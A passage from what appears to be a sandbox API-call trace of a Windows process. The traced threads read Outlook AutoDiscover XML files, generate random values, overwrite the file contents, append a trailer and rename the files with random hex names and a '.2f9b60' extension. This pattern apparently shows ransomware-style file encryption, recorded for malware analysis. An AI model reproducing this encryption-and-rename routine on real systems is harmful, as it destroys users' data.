(HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263320 [0233.770] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263320) returned 1 [0233.770] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423bd540) returned 1 [0233.770] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423ea600) returned 1 [0233.770] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8699c0) returned 1 [0233.771] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97a30) returned 1 [0233.771] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2e) returned 0x431ad320 [0233.771] SetFilePointerEx (in: hFile=0x105c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0233.772] WriteFile (in: hFile=0x105c, lpBuffer=0x42c141b0*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2f57f810, lpOverlapped=0x0 | out: lpBuffer=0x42c141b0*, lpNumberOfBytesWritten=0x2f57f810*=0x112, lpOverlapped=0x0) returned 1 [0235.899] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce617e0 [0235.900] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869c40 [0235.900] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202634a0 [0235.901] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202634a0) returned 1 [0235.901] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202634a0 [0235.902] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263620 [0235.902] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262db0 [0235.902] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262db0) returned 1 [0235.903] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869c40) returned 1 [0235.903] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce617e0) returned 1 [0235.904] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x41) returned 0x1ce617e0 [0235.904] sprintf (in: _Dest=0x1ce617e0, _Format="%c%c" | out: _Dest="5e") returned 2 [0235.904] sprintf (in: _Dest=0x1ce617e2, _Format="%c%c" | out: _Dest="ca") returned 2 [0235.904] sprintf (in: _Dest=0x1ce617e4, _Format="%c%c" | out: _Dest="26") returned 2 [0235.904] sprintf (in: _Dest=0x1ce617e6, _Format="%c%c" | out: _Dest="7b") returned 2 [0235.904] sprintf (in: _Dest=0x1ce617e8, _Format="%c%c" | out: _Dest="1f") returned 2 [0235.904] sprintf (in: _Dest=0x1ce617ea, _Format="%c%c" | out: _Dest="2f") returned 2 [0235.904] sprintf (in: _Dest=0x1ce617ec, _Format="%c%c" | out: _Dest="87") returned 2 [0235.904] sprintf (in: _Dest=0x1ce617ee, _Format="%c%c" | out: _Dest="b6") returned 2 [0235.904] sprintf (in: _Dest=0x1ce617f0, _Format="%c%c" | out: _Dest="d2") returned 2 [0235.904] sprintf (in: _Dest=0x1ce617f2, _Format="%c%c" | out: _Dest="27") returned 2 [0235.904] sprintf (in: _Dest=0x1ce617f4, _Format="%c%c" | out: _Dest="a0") returned 2 [0235.904] sprintf (in: _Dest=0x1ce617f6, _Format="%c%c" | out: _Dest="d6") returned 2 [0235.904] sprintf (in: _Dest=0x1ce617f8, _Format="%c%c" | out: _Dest="8a") returned 2 [0235.904] sprintf (in: _Dest=0x1ce617fa, _Format="%c%c" | out: _Dest="b1") returned 2 [0235.904] sprintf (in: _Dest=0x1ce617fc, _Format="%c%c" | out: _Dest="1e") returned 2 [0235.904] sprintf (in: _Dest=0x1ce617fe, _Format="%c%c" | out: _Dest="b3") returned 2 [0235.904] sprintf (in: _Dest=0x1ce61800, _Format="%c%c" | out: _Dest="fb") returned 2 [0235.904] sprintf (in: _Dest=0x1ce61802, _Format="%c%c" | out: _Dest="6c") returned 2 [0235.904] sprintf (in: _Dest=0x1ce61804, _Format="%c%c" | out: _Dest="ca") returned 2 [0235.904] sprintf (in: _Dest=0x1ce61806, _Format="%c%c" | out: _Dest="d9") returned 2 [0235.904] sprintf (in: _Dest=0x1ce61808, _Format="%c%c" | out: _Dest="32") returned 2 [0235.904] sprintf (in: _Dest=0x1ce6180a, _Format="%c%c" | out: _Dest="16") returned 2 [0235.904] sprintf (in: _Dest=0x1ce6180c, _Format="%c%c" | out: _Dest="21") returned 2 [0235.904] sprintf (in: _Dest=0x1ce6180e, _Format="%c%c" | out: _Dest="2e") returned 2 [0235.905] sprintf (in: _Dest=0x1ce61810, _Format="%c%c" | out: _Dest="78") returned 2 [0235.905] sprintf (in: _Dest=0x1ce61812, _Format="%c%c" | out: _Dest="d0") returned 2 [0235.905] sprintf (in: _Dest=0x1ce61814, _Format="%c%c" | out: _Dest="90") returned 2 [0235.905] sprintf (in: _Dest=0x1ce61816, _Format="%c%c" | out: _Dest="6d") returned 2 [0235.905] sprintf (in: _Dest=0x1ce61818, _Format="%c%c" | out: _Dest="01") returned 2 [0235.905] sprintf (in: _Dest=0x1ce6181a, _Format="%c%c" | out: _Dest="07") returned 2 [0235.905] sprintf (in: _Dest=0x1ce6181c, _Format="%c%c" | out: _Dest="2c") returned 2 [0235.905] sprintf (in: _Dest=0x1ce6181e, _Format="%c%c" | out: _Dest="22") returned 2 [0235.905] RtlInitAnsiString (in: DestinationString=0x2f57f888, SourceString="5eca267b1f2f87b6d227a0d68ab11eb3fb6ccad93216212e78d0906d01072c22" | out: DestinationString="5eca267b1f2f87b6d227a0d68ab11eb3fb6ccad93216212e78d0906d01072c22") [0235.905] RtlAnsiStringToUnicodeString (in: DestinationString=0x2f57f858, SourceString="5eca267b1f2f87b6d227a0d68ab11eb3fb6ccad93216212e78d0906d01072c22", AllocateDestinationString=1 | out: DestinationString="5eca267b1f2f87b6d227a0d68ab11eb3fb6ccad93216212e78d0906d01072c22") returned 0x0 [0235.905] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x1b86c090 [0235.906] wcscat (in: _Dest=0x43128d20, _Source="5eca267b1f2f87b6" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\5eca267b1f2f87b6") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\5eca267b1f2f87b6" [0235.906] wcscat (in: _Dest=0x43128d20, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\5eca267b1f2f87b6.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\5eca267b1f2f87b6.2f9b60" [0235.906] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\5eca267b1f2f87b6.2f9b60", NtPathName=0x2f57f830, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\5eca267b1f2f87b6.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0235.906] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xcc) returned 0x430d6d40 Thread: id = 3834 os_tid = 0x159c [0227.784] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.SG.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.sg.xml")) returned 0x20 [0229.184] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.SG.XML", dwFileAttributes=0x20) returned 1 [0229.226] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.SG.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.sg.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x15fc [0229.363] GetFileSizeEx (in: hFile=0x15fc, lpFileSize=0x2f46fbc0 | out: lpFileSize=0x2f46fbc0*=812) returned 1 [0229.364] SetFilePointerEx (in: hFile=0x15fc, liDistanceToMove=0x328, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.364] ReadFile (in: hFile=0x15fc, lpBuffer=0x2f46fb40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2f46fb88, lpOverlapped=0x0 | out: lpBuffer=0x2f46fb40*, lpNumberOfBytesRead=0x2f46fb88*=0x4, lpOverlapped=0x0) returned 1 [0229.377] SetFilePointerEx (in: hFile=0x15fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.377] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb1d00 [0229.378] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb0d70 [0229.378] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb0f50 [0229.378] NtQuerySystemTime (in: CurrentTime=0x2f46fa80 | out: CurrentTime=0x2f46fa80*=132462178333678000) returned 0x0 [0229.378] RtlRandomEx (in: Seed=0x2f46fa70 | out: Seed=0x2f46fa70) returned 0x7e389db0 [0229.378] RtlRandomEx (in: Seed=0x2f46fa70 | out: Seed=0x2f46fa70) returned 0x289da1b1 [0229.378] RtlRandomEx (in: Seed=0x2f46fa70 | out: Seed=0x2f46fa70) returned 0x2cdb28b2 [0229.378] RtlRandomEx (in: Seed=0x2f46fa70 | out: Seed=0x2f46fa70) returned 0x7c17fff2 [0229.378] RtlRandomEx (in: Seed=0x2f46fa70 | out: Seed=0x2f46fa70) returned 0x65a7fe1d [0229.379] RtlRandomEx (in: Seed=0x2f46fa70 | out: Seed=0x2f46fa70) returned 0x1a4eae43 [0229.379] RtlRandomEx (in: Seed=0x2f46fa70 | out: Seed=0x2f46fa70) returned 0x77ad63e6 [0229.379] RtlRandomEx (in: Seed=0x2f46fa70 | out: Seed=0x2f46fa70) returned 0x77b0116 [0229.379] RtlRandomEx (in: Seed=0x2f46fa70 | out: Seed=0x2f46fa70) returned 0x2ea07b8e [0229.379] RtlRandomEx (in: Seed=0x2f46fa70 | out: Seed=0x2f46fa70) returned 0x5c57baa0 [0229.379] RtlRandomEx (in: Seed=0x2f46fa70 | out: Seed=0x2f46fa70) returned 0x19f3d30f [0229.379] RtlRandomEx (in: Seed=0x2f46fa70 | out: Seed=0x2f46fa70) returned 0x38ca22af [0229.379] RtlRandomEx (in: Seed=0x2f46fa70 | out: Seed=0x2f46fa70) returned 0x7959ec36 [0229.379] RtlRandomEx (in: Seed=0x2f46fa70 | out: Seed=0x2f46fa70) returned 0x774af576 [0229.379] RtlRandomEx (in: Seed=0x2f46fa70 | out: Seed=0x2f46fa70) returned 0x1f489900 [0229.379] RtlRandomEx (in: Seed=0x2f46fa70 | out: Seed=0x2f46fa70) returned 0x1cd0e3aa [0229.379] RtlRandomEx (in: Seed=0x2f46fa70 | out: Seed=0x2f46fa70) returned 0x52222a7a [0229.379] RtlRandomEx (in: Seed=0x2f46fa70 | out: Seed=0x2f46fa70) returned 0x20668c48 [0229.379] RtlRandomEx (in: Seed=0x2f46fa70 | out: Seed=0x2f46fa70) returned 0x6feec92b [0229.379] RtlRandomEx (in: Seed=0x2f46fa70 | out: Seed=0x2f46fa70) returned 0x1cbabd67 [0229.379] RtlRandomEx (in: Seed=0x2f46fa70 | out: Seed=0x2f46fa70) returned 0x64dace8e [0229.379] RtlRandomEx (in: Seed=0x2f46fa70 | out: Seed=0x2f46fa70) returned 0x31c642a [0229.379] RtlRandomEx (in: Seed=0x2f46fa70 | out: Seed=0x2f46fa70) returned 0x1c98f6e [0229.379] RtlRandomEx (in: Seed=0x2f46fa70 | out: Seed=0x2f46fa70) returned 0x93d3a1b [0229.379] RtlRandomEx (in: Seed=0x2f46fa70 | out: Seed=0x2f46fa70) returned 0x289b8a1b [0229.379] RtlRandomEx (in: Seed=0x2f46fa70 | out: Seed=0x2f46fa70) returned 0x24eaa14c [0229.379] RtlRandomEx (in: Seed=0x2f46fa70 | out: Seed=0x2f46fa70) returned 0x38f42889 [0229.379] RtlRandomEx (in: Seed=0x2f46fa70 | out: Seed=0x2f46fa70) returned 0x43198b38 [0229.379] RtlRandomEx (in: Seed=0x2f46fa70 | out: Seed=0x2f46fa70) returned 0x7ef605f6 [0229.379] RtlRandomEx (in: Seed=0x2f46fa70 | out: Seed=0x2f46fa70) returned 0x24eaa14c [0229.379] RtlRandomEx (in: Seed=0x2f46fa70 | out: Seed=0x2f46fa70) returned 0x4800f4cf [0229.379] RtlRandomEx (in: Seed=0x2f46fa70 | out: Seed=0x2f46fa70) returned 0x39990324 [0229.388] ReadFile (in: hFile=0x15fc, lpBuffer=0x42de1150, nNumberOfBytesToRead=0x32c, lpNumberOfBytesRead=0x2f46fa70, lpOverlapped=0x0 | out: lpBuffer=0x42de1150*, lpNumberOfBytesRead=0x2f46fa70*=0x32c, lpOverlapped=0x0) returned 1 [0229.388] SetFilePointerEx (in: hFile=0x15fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.388] WriteFile (in: hFile=0x15fc, lpBuffer=0x42dec580*, nNumberOfBytesToWrite=0x32c, lpNumberOfBytesWritten=0x2f46fa74, lpOverlapped=0x0 | out: lpBuffer=0x42dec580*, lpNumberOfBytesWritten=0x2f46fa74*=0x32c, lpOverlapped=0x0) returned 1 [0233.321] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261eb0 [0233.322] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263890 [0233.323] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263890) returned 1 [0233.323] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42dec580) returned 1 [0233.323] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42de1150) returned 1 [0233.323] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8694c0) returned 1 [0233.323] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62e60) returned 1 [0233.324] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2e) returned 0x1cda0830 [0233.324] SetFilePointerEx (in: hFile=0x15fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0233.324] WriteFile (in: hFile=0x15fc, lpBuffer=0x42c14630*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2f46fb90, lpOverlapped=0x0 | out: lpBuffer=0x42c14630*, lpNumberOfBytesWritten=0x2f46fb90*=0x112, lpOverlapped=0x0) returned 1 [0235.480] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61560 [0235.481] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20505090 [0235.481] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb0b90 [0235.482] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb0b90) returned 1 [0235.482] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb0b90 [0235.482] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb0d10 [0235.482] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb3dd0 [0235.483] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb3dd0) returned 1 [0235.483] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505090) returned 1 [0235.484] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61560) returned 1 [0235.484] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x41) returned 0x1ce61560 [0235.484] sprintf (in: _Dest=0x1ce61560, _Format="%c%c" | out: _Dest="fd") returned 2 [0235.484] sprintf (in: _Dest=0x1ce61562, _Format="%c%c" | out: _Dest="b1") returned 2 [0235.484] sprintf (in: _Dest=0x1ce61564, _Format="%c%c" | out: _Dest="ce") returned 2 [0235.484] sprintf (in: _Dest=0x1ce61566, _Format="%c%c" | out: _Dest="d7") returned 2 [0235.484] sprintf (in: _Dest=0x1ce61568, _Format="%c%c" | out: _Dest="23") returned 2 [0235.484] sprintf (in: _Dest=0x1ce6156a, _Format="%c%c" | out: _Dest="2e") returned 2 [0235.484] sprintf (in: _Dest=0x1ce6156c, _Format="%c%c" | out: _Dest="9a") returned 2 [0235.484] sprintf (in: _Dest=0x1ce6156e, _Format="%c%c" | out: _Dest="64") returned 2 [0235.484] sprintf (in: _Dest=0x1ce61570, _Format="%c%c" | out: _Dest="71") returned 2 [0235.484] sprintf (in: _Dest=0x1ce61572, _Format="%c%c" | out: _Dest="49") returned 2 [0235.484] sprintf (in: _Dest=0x1ce61574, _Format="%c%c" | out: _Dest="ce") returned 2 [0235.484] sprintf (in: _Dest=0x1ce61576, _Format="%c%c" | out: _Dest="60") returned 2 [0235.484] sprintf (in: _Dest=0x1ce61578, _Format="%c%c" | out: _Dest="8a") returned 2 [0235.484] sprintf (in: _Dest=0x1ce6157a, _Format="%c%c" | out: _Dest="dc") returned 2 [0235.484] sprintf (in: _Dest=0x1ce6157c, _Format="%c%c" | out: _Dest="5c") returned 2 [0235.484] sprintf (in: _Dest=0x1ce6157e, _Format="%c%c" | out: _Dest="02") returned 2 [0235.485] sprintf (in: _Dest=0x1ce61580, _Format="%c%c" | out: _Dest="0e") returned 2 [0235.485] sprintf (in: _Dest=0x1ce61582, _Format="%c%c" | out: _Dest="07") returned 2 [0235.485] sprintf (in: _Dest=0x1ce61584, _Format="%c%c" | out: _Dest="64") returned 2 [0235.485] sprintf (in: _Dest=0x1ce61586, _Format="%c%c" | out: _Dest="33") returned 2 [0235.485] sprintf (in: _Dest=0x1ce61588, _Format="%c%c" | out: _Dest="5a") returned 2 [0235.485] sprintf (in: _Dest=0x1ce6158a, _Format="%c%c" | out: _Dest="b1") returned 2 [0235.485] sprintf (in: _Dest=0x1ce6158c, _Format="%c%c" | out: _Dest="73") returned 2 [0235.485] sprintf (in: _Dest=0x1ce6158e, _Format="%c%c" | out: _Dest="5f") returned 2 [0235.485] sprintf (in: _Dest=0x1ce61590, _Format="%c%c" | out: _Dest="4c") returned 2 [0235.485] sprintf (in: _Dest=0x1ce61592, _Format="%c%c" | out: _Dest="5f") returned 2 [0235.485] sprintf (in: _Dest=0x1ce61594, _Format="%c%c" | out: _Dest="7d") returned 2 [0235.485] sprintf (in: _Dest=0x1ce61596, _Format="%c%c" | out: _Dest="2b") returned 2 [0235.485] sprintf (in: _Dest=0x1ce61598, _Format="%c%c" | out: _Dest="7e") returned 2 [0235.485] sprintf (in: _Dest=0x1ce6159a, _Format="%c%c" | out: _Dest="18") returned 2 [0235.485] sprintf (in: _Dest=0x1ce6159c, _Format="%c%c" | out: _Dest="cf") returned 2 [0235.485] sprintf (in: _Dest=0x1ce6159e, _Format="%c%c" | out: _Dest="12") returned 2 [0235.485] RtlInitAnsiString (in: DestinationString=0x2f46fc08, SourceString="fdb1ced7232e9a647149ce608adc5c020e0764335ab1735f4c5f7d2b7e18cf12" | out: DestinationString="fdb1ced7232e9a647149ce608adc5c020e0764335ab1735f4c5f7d2b7e18cf12") [0235.485] RtlAnsiStringToUnicodeString (in: DestinationString=0x2f46fbd8, SourceString="fdb1ced7232e9a647149ce608adc5c020e0764335ab1735f4c5f7d2b7e18cf12", AllocateDestinationString=1 | out: DestinationString="fdb1ced7232e9a647149ce608adc5c020e0764335ab1735f4c5f7d2b7e18cf12") returned 0x0 [0235.485] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x1cf4bc80 [0235.486] wcscat (in: _Dest=0x4312ade0, _Source="fdb1ced7232e9a64" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\fdb1ced7232e9a64") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\fdb1ced7232e9a64" [0235.486] wcscat (in: _Dest=0x4312ade0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\fdb1ced7232e9a64.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\fdb1ced7232e9a64.2f9b60" [0235.486] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\fdb1ced7232e9a64.2f9b60", NtPathName=0x2f46fbb0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\fdb1ced7232e9a64.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0235.486] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xcc) returned 0x43116240 Thread: id = 3835 os_tid = 0x1638 [0227.784] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.TW.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.tw.xml")) returned 0x20 [0229.180] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.TW.XML", dwFileAttributes=0x20) returned 1 [0229.215] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.TW.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.tw.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x106c [0229.291] GetFileSizeEx (in: hFile=0x106c, lpFileSize=0x2f62fb80 | out: lpFileSize=0x2f62fb80*=812) returned 1 [0229.291] SetFilePointerEx (in: hFile=0x106c, liDistanceToMove=0x328, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.291] ReadFile (in: hFile=0x106c, lpBuffer=0x2f62fb00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2f62fb48, lpOverlapped=0x0 | out: lpBuffer=0x2f62fb00*, lpNumberOfBytesRead=0x2f62fb48*=0x4, lpOverlapped=0x0) returned 1 [0230.502] SetFilePointerEx (in: hFile=0x106c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.502] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264010 [0230.502] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262db0 [0230.503] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260fe0 [0230.503] NtQuerySystemTime (in: CurrentTime=0x2f62fa40 | out: CurrentTime=0x2f62fa40*=132462178344910000) returned 0x0 [0230.503] RtlRandomEx (in: Seed=0x2f62fa30 | out: Seed=0x2f62fa30) returned 0x299edbd9 [0230.503] RtlRandomEx (in: Seed=0x2f62fa30 | out: Seed=0x2f62fa30) returned 0xfcd35a [0230.503] RtlRandomEx (in: Seed=0x2f62fa30 | out: Seed=0x2f62fa30) returned 0x4da65e84 [0230.503] RtlRandomEx (in: Seed=0x2f62fa30 | out: Seed=0x2f62fa30) returned 0x166bd384 [0230.503] RtlRandomEx (in: Seed=0x2f62fa30 | out: Seed=0x2f62fa30) returned 0x109d0e49 [0230.503] RtlRandomEx (in: Seed=0x2f62fa30 | out: Seed=0x2f62fa30) returned 0x531da6f5 [0230.503] RtlRandomEx (in: Seed=0x2f62fa30 | out: Seed=0x2f62fa30) returned 0x8043d4d [0230.503] RtlRandomEx (in: Seed=0x2f62fa30 | out: Seed=0x2f62fa30) returned 0x7bc00951 [0230.503] RtlRandomEx (in: Seed=0x2f62fa30 | out: Seed=0x2f62fa30) returned 0x38c48c12 [0230.503] RtlRandomEx (in: Seed=0x2f62fa30 | out: Seed=0x2f62fa30) returned 0xa332fff [0230.503] RtlRandomEx (in: Seed=0x2f62fa30 | out: Seed=0x2f62fa30) returned 0x1f0bcfb9 [0230.503] RtlRandomEx (in: Seed=0x2f62fa30 | out: Seed=0x2f62fa30) returned 0x3f948443 [0230.503] RtlRandomEx (in: Seed=0x2f62fa30 | out: Seed=0x2f62fa30) returned 0x27353c36 [0230.503] RtlRandomEx (in: Seed=0x2f62fa30 | out: Seed=0x2f62fa30) returned 0x1f6038b7 [0230.504] RtlRandomEx (in: Seed=0x2f62fa30 | out: Seed=0x2f62fa30) returned 0x81283af [0230.504] RtlRandomEx (in: Seed=0x2f62fa30 | out: Seed=0x2f62fa30) returned 0x347c6a76 [0230.504] RtlRandomEx (in: Seed=0x2f62fa30 | out: Seed=0x2f62fa30) returned 0x5e332caa [0230.504] RtlRandomEx (in: Seed=0x2f62fa30 | out: Seed=0x2f62fa30) returned 0x66586cf8 [0230.504] RtlRandomEx (in: Seed=0x2f62fa30 | out: Seed=0x2f62fa30) returned 0x5e8fbd58 [0230.504] RtlRandomEx (in: Seed=0x2f62fa30 | out: Seed=0x2f62fa30) returned 0x38eaa868 [0230.504] RtlRandomEx (in: Seed=0x2f62fa30 | out: Seed=0x2f62fa30) returned 0x5035d014 [0230.504] RtlRandomEx (in: Seed=0x2f62fa30 | out: Seed=0x2f62fa30) returned 0x17fd02a6 [0230.504] RtlRandomEx (in: Seed=0x2f62fa30 | out: Seed=0x2f62fa30) returned 0x25ab45bd [0230.504] RtlRandomEx (in: Seed=0x2f62fa30 | out: Seed=0x2f62fa30) returned 0x22e2678 [0230.504] RtlRandomEx (in: Seed=0x2f62fa30 | out: Seed=0x2f62fa30) returned 0x31adc221 [0230.504] RtlRandomEx (in: Seed=0x2f62fa30 | out: Seed=0x2f62fa30) returned 0x412564c [0230.504] RtlRandomEx (in: Seed=0x2f62fa30 | out: Seed=0x2f62fa30) returned 0x54a359e8 [0230.504] RtlRandomEx (in: Seed=0x2f62fa30 | out: Seed=0x2f62fa30) returned 0x1e89384d [0230.504] RtlRandomEx (in: Seed=0x2f62fa30 | out: Seed=0x2f62fa30) returned 0x718d3414 [0230.504] RtlRandomEx (in: Seed=0x2f62fa30 | out: Seed=0x2f62fa30) returned 0x35c7cbe7 [0230.504] RtlRandomEx (in: Seed=0x2f62fa30 | out: Seed=0x2f62fa30) returned 0x27353c36 [0230.504] RtlRandomEx (in: Seed=0x2f62fa30 | out: Seed=0x2f62fa30) returned 0x3e41c3f2 [0230.512] ReadFile (in: hFile=0x106c, lpBuffer=0x423ae500, nNumberOfBytesToRead=0x32c, lpNumberOfBytesRead=0x2f62fa30, lpOverlapped=0x0 | out: lpBuffer=0x423ae500*, lpNumberOfBytesRead=0x2f62fa30*=0x32c, lpOverlapped=0x0) returned 1 [0230.512] SetFilePointerEx (in: hFile=0x106c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.512] WriteFile (in: hFile=0x106c, lpBuffer=0x423b2110*, nNumberOfBytesToWrite=0x32c, lpNumberOfBytesWritten=0x2f62fa34, lpOverlapped=0x0 | out: lpBuffer=0x423b2110*, lpNumberOfBytesWritten=0x2f62fa34*=0x32c, lpOverlapped=0x0) returned 1 [0233.762] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263200 [0233.763] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202605f0 [0233.764] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202605f0) returned 1 [0233.764] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423b2110) returned 1 [0233.764] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423ae500) returned 1 [0233.764] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86a040) returned 1 [0233.764] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97530) returned 1 [0233.765] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2e) returned 0x431ad2a0 [0233.765] SetFilePointerEx (in: hFile=0x106c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0233.766] WriteFile (in: hFile=0x106c, lpBuffer=0x42c14bd0*, nNumberOfBytesToWrite=0x112, 